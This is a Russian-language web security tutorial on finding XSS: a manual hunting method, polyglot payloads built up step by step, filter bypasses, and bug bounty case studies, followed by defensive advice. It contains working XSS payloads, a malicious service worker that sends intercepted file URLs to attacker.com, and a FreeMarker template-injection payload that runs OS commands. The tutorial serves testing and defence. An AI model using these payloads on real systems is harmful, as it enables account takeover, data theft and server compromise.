---
title: 'Эффективный поиск XSS-уязвимостей: от alert() до RCE | DevSense'
description: 'Освойте искусство поиска и эксплуатации межсайтового скриптинга (XSS). Научитесь собирать универсальные пейлоады, обходить фильтры WAF и повышать XSS до RCE на реальных примерах Bug Bounty.'
faq:
    - { question: 'Что делает проверочную строку универсальным (полиглот) XSS-пейлоадом?', answer: 'Универсальный пейлоад разработан для успешного выполнения JavaScript в различных контекстах HTML (атрибуты, текст, теги скриптов или стилей). Он закрывает существующие кавычки/теги и внедряет активный тег (например, iframe), не ломая синтаксис парсера браузера.' }
    - { question: 'Как Service Worker может перехватить файлы в S3-бакете для XSS-атаки?', answer: 'Если приложение отдает файлы пользователей из общего S3-бакета на том же Origin, злоумышленник может загрузить вредоносный Service Worker. После регистрации он перехватывает все запросы к файлам в своем scope, позволяя красть временные подписи и конфиденциальные данные.' }
    - { question: 'В чем разница между инъекцией шаблонов на клиенте и SSTI?', answer: 'Клиентская инъекция (например, в AngularJS/VueJS) выполняет код в браузере жертвы через шаблонизатор JS. Серверная инъекция (SSTI) выполняет код непосредственно на сервере в шаблонизаторах (FreeMarker, Twig и др.), что часто приводит к удаленному выполнению команд (RCE).' }
published: '2026-07-09'
---
# Эффективный поиск XSS-уязвимостей: от alert() до RCE

Поиск уязвимостей в безопасности часто представляют как тайное искусство, доступное лишь избранным хакерам. Однако клиентские угрозы, такие как **межсайтовый скриптинг (XSS)**, подчиняются строгой логике. Понимая особенности разбора HTML браузером и умея конструировать универсальные проверочные строки, любой разработчик или тестировщик может эффективно находить XSS-баги.

В этом руководстве, основанном на материалах конференций Heisenbug и реальном опыте Bug Bounty, мы разберем системную методологию поиска XSS, научимся собирать продвинутые пейлоады и изучим реальные кейсы, где простые инъекции привели к полному захвату серверов.

---

## Содержание

* [Что такое XSS и почему возникает уязвимость](#what-is-xss)
* [Методология ручного поиска](#hunting-methodology)
* [Конструирование универсального пейлоада (от Level 0 до 1337)](#universal-payloads)
* [Обход реальных фильтраций](#bypassing-restrictions)
* [Реальные кейсы из Bug Bounty](#case-studies)
    * [Обход регулярного выражения в biz.mail.ru](#case-mailru)
    * [Атака на S3-бакет через Service Worker](#case-s3)
    * [Email HTML-инъекция и FreeMarker RCE](#case-ssti)
* [Способы защиты и минимизация рисков](#mitigations)

---

<a id="what-is-xss"></a>
## Что такое XSS и почему возникает уязвимость

**Межсайтовый скриптинг (XSS / Cross-Site Scripting)** — это уязвимость, позволяющая злоумышленнику выполнять произвольный код JavaScript в браузере жертвы в контексте безопасности (Origin) вашего сайта.

Она возникает, когда веб-приложение принимает данные от пользователя и встраивает их в генерируемую HTML-страницу без надлежащего кодирования или очистки. Браузер не может отличить оригинальный код приложения от внедренных тегов и просто выполняет все скрипты подряд.

XSS делится на два основных типа:
* **Stored (Хранимая) XSS:** Вредный код сохраняется в БД (например, имя пользователя или комментарий) и позже отдается другим пользователям.
* **Reflected (Отраженная) XSS:** Скрипт сразу возвращается в ответе сервера, как правило, через параметр в URL или тело POST-запроса.

---

<a id="hunting-methodology"></a>
## Методология ручного поиска

Автоматические сканеры часто упускают логические уязвимости и спотыкаются о фильтры безопасности. Метод черного ящика вручную работает гораздо надежнее:

1. **Внедряйте уникальную проверочную строку** (например, `qweqwe`) во все поля ввода, URL-параметры, заголовки и формы загрузки.
2. **Изучайте DOM-дерево страницы.** Откройте DevTools (`F12`), найдите вашу строку (`Ctrl+F`) и посмотрите, сколько раз она вывелась на странице.
3. **Анализируйте контекст попадания.** Куда встроилась строка? В обычный текст? В значение атрибута `value`? Внутрь блока `<script>`?
4. **Проверяйте спецсимволы** (`' " < > &`). Превращаются ли они в безопасные HTML entities (например, `&quot;`, `&lt;`, `&gt;`) или выводятся как есть?
5. **Раскручивайте вектор атаки** в зависимости от разрешенных символов.

---

<a id="universal-payloads"></a>
## Конструирование универсального пейлоада (от Level 0 до 1337)

Чтобы не подбирать код под каждое поле индивидуально, багхантеры используют **универсальные полезные нагрузки**, которые одновременно закрывают несколько возможных контекстов вставки.

### Level 0: Новичок
`"<script>alert()</script>"`
Сработает только в том случае, если строка выводится прямо в тело HTML:
```html
<p>Привет, Пользователь <script>alert()</script>!</p>
```

### Level 1: Выход из атрибута
Если данные попадают внутрь атрибута тега, предыдущий вариант не сработает — он останется внутри кавычек:
```html
<input name="search" value="<script>alert()</script>">
```
Нам нужно закрыть кавычку и сам тег: `">`
Новый пейлоад: `"><script>alert()</script>`
```html
<input name="search" value=""><script>alert()</script>">
```

### Level 2: Выход из служебных тегов
Если строка попала внутрь тегов `<title>`, `<style>`, `<textarea>` или `<script>`, браузер считает все данные текстом или кодом JS и не будет рендерить HTML-теги.
Их нужно сначала закрыть.
Новый пейлоад: `"></title></script><script>alert()</script>`

Что если разработчик обрамил атрибут одинарными кавычками? Добавим `'` в начало:
Новый пейлоад: `'">></title></script><script>alert()</script>`

### Level 3: Использование iframe
Тег `<script>` часто блокируется WAF (Web Application Firewall). Вместо него лучше использовать `<iframe>` с событием `onload`:
Новый пейлоад: `'">></title></script><iframe onload='alert()'>`

Фрейм выполнит JavaScript в атрибуте `onload` сразу после отрисовки, даже без указания источника `src`.

### Level 1337: Слэши и полиглоты
Продвинутые фильтры могут вырезать пробелы или искать закрывающие скобки. Мы обойдем их, если:
* Заменим пробелы слэшами (`/`).
* Позволим браузеру самому закрыть тег (уберем `>`).
* Закроем возможные HTML-комментарии (`-->`).
* Внедрим выражения клиентских шаблонизаторов AngularJS или VueJS (`{{7*7}}`).

Итоговый универсальный пейлоад:
```html
'"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--
```

Если он встроится в атрибут, то получится:
```html
<input name="search" value=''"/test/></title/></script/></style/-->{{7*7}}<iframe/onload='alert`1``<!--'>
```
Здесь успешно создается наш собственный атрибут `test`, присутствие которого легко выявить скриптом в консоли:
```javascript
if (document.querySelectorAll('*[test]').length > 0) {
    console.log("XSS обнаружена через инъекцию атрибута!");
}
```

---

<a id="bypassing-restrictions"></a>
## Обход реальных фильтраций

### 1. Незакрытые теги против регулярных выражений
Если фильтр удаляет все конструкции вида `<...>`, вы можете отправить незакрытый тег:
```html
<iframe/onload='alert()'
```
Браузер распарсит строку, встретит конец документа и сам подставит закрывающую скобку, выполнив скрипт.

### 2. Пробельные символы в URL-схемах
При проверке параметров перенаправления (например, `returnUrl`) разработчики часто проверяют, начинается ли строка со слова `javascript:`.
* **Обход пробелом:** Добавление пробела или табуляции перед схемой (`%20javascript:alert()`) обходит простую проверку `startsWith`, но браузер все равно считает схему валидной и выполняет код.
* **Синтаксис URL:** Конструкция вида `javascript://google.com/%0aalert()`. Двойной слэш превращает последующий текст в комментарий JS, а `%0a` (перенос строки) завершает его, запуская `alert()`.

---

<a id="case-studies"></a>
## Реальные кейсы из Bug Bounty

<a id="case-mailru"></a>
### Кейс 1: Обход регулярного выражения в biz.mail.ru
На одном из проектов Mail.ru при возникновении ошибки 500 происходил редирект на страницу ошибки с параметром `from`. Кнопка «Обновить» вела на этот адрес.
* Попытка подставить `javascript:alert()` заменялась на `https://`.
* Подстановка `%20javascript:alert()` (с пробелом в начале) обошла регулярное выражение. В ссылку записался вредоносный адрес, который отрабатывал при клике на кнопку «Обновить».

<a id="case-s3"></a>
### Кейс 2: Атака на S3-бакет через Service Worker
В приватной CRM-системе пользователи загружали документы, которые сохранялись в облачном хранилище Amazon S3. 
При попытке открыть файл сервер генерировал временную подпись и редиректил на домен S3.
* Все файлы пользователей хранились на одном поддомене S3.
* Атакующий загрузил HTML-файл с XSS-пейлоадом. При его открытии в браузере выполнялся JS.
* Чтобы украсть файлы других пользователей, хакер загрузил в бакет вредоносный `serviceworker.js`:
```javascript
// serviceworker.js
self.addEventListener('fetch', function(event) {
    event.respondWith(
        new Response("<iframe src='https://attacker.com/log?url=" + encodeURIComponent(event.request.url) + "'></iframe>", {
            headers: { 'Content-Type': 'text/html' }
        })
    );
});
```
* Жертве отправлялась ссылка на файл `exploit.html`, который регистрировал Service Worker на весь корень S3-бакета.
* Теперь, когда жертва пыталась открыть любой другой секретный документ в CRM, Service Worker перехватывал запрос и отправлял временную подписанную ссылку на сервер атакующего.

<a id="case-ssti"></a>
### Кейс 3: Email HTML-инъекция и FreeMarker RCE
Маркетинговая платформа позволяла кастомизировать HTML-шаблоны писем. 
* Хакер внедрил выражения `${7*7}` и `{{7*7}}` в шаблон письма.
* При предпросмотре письма сервер вычислил выражение и вывел `49`, что указало на уязвимость **SSTI (Server-Side Template Injection)**.
* Шаблонизатором оказался Java-ориентированный **FreeMarker**. Используя его встроенные методы выполнения команд, инъекция была повышена до выполнения кода на сервере (**RCE**):
```html
[#assign cmd = 'freemarker.template.utility.Execute'?new()]
${cmd('id')}
```
Команда `id` выполнилась в операционной системе сервера, и результат (права root) отобразился прямо в окне предпросмотра письма.

---

<a id="mitigations"></a>
## Способы защиты и минимизация рисков

1. **Никогда не доверяйте вводу пользователя:** Любые параметры, заголовки и имена файлов должны валидироваться.
2. **Контекстное кодирование вывода:** Применяйте экранирование спецсимволов в зависимости от места вывода:
    * В теле HTML: используйте `htmlspecialchars()`.
    * В контексте JS: кодируйте через `json_encode()`.
    * В ссылках: разрешайте только протоколы `http`/`https`.
3. **Внедряйте Content Security Policy (CSP):** Строгие заголовки CSP запрещают выполнение инлайновых скриптов и ограничивают источники загрузки ресурсов.
4. **Изолируйте файлы пользователей:** Храните загружаемый контент на полностью отдельном домене (например, `my-app-files.com`), где нет сессионных кук и доступа к основному API.
5. **Настраивайте шаблонизаторы безопасно:** Отключайте доступ к системным API и песочницам при рендеринге пользовательских шаблонов во FreeMarker, Twig или Blade.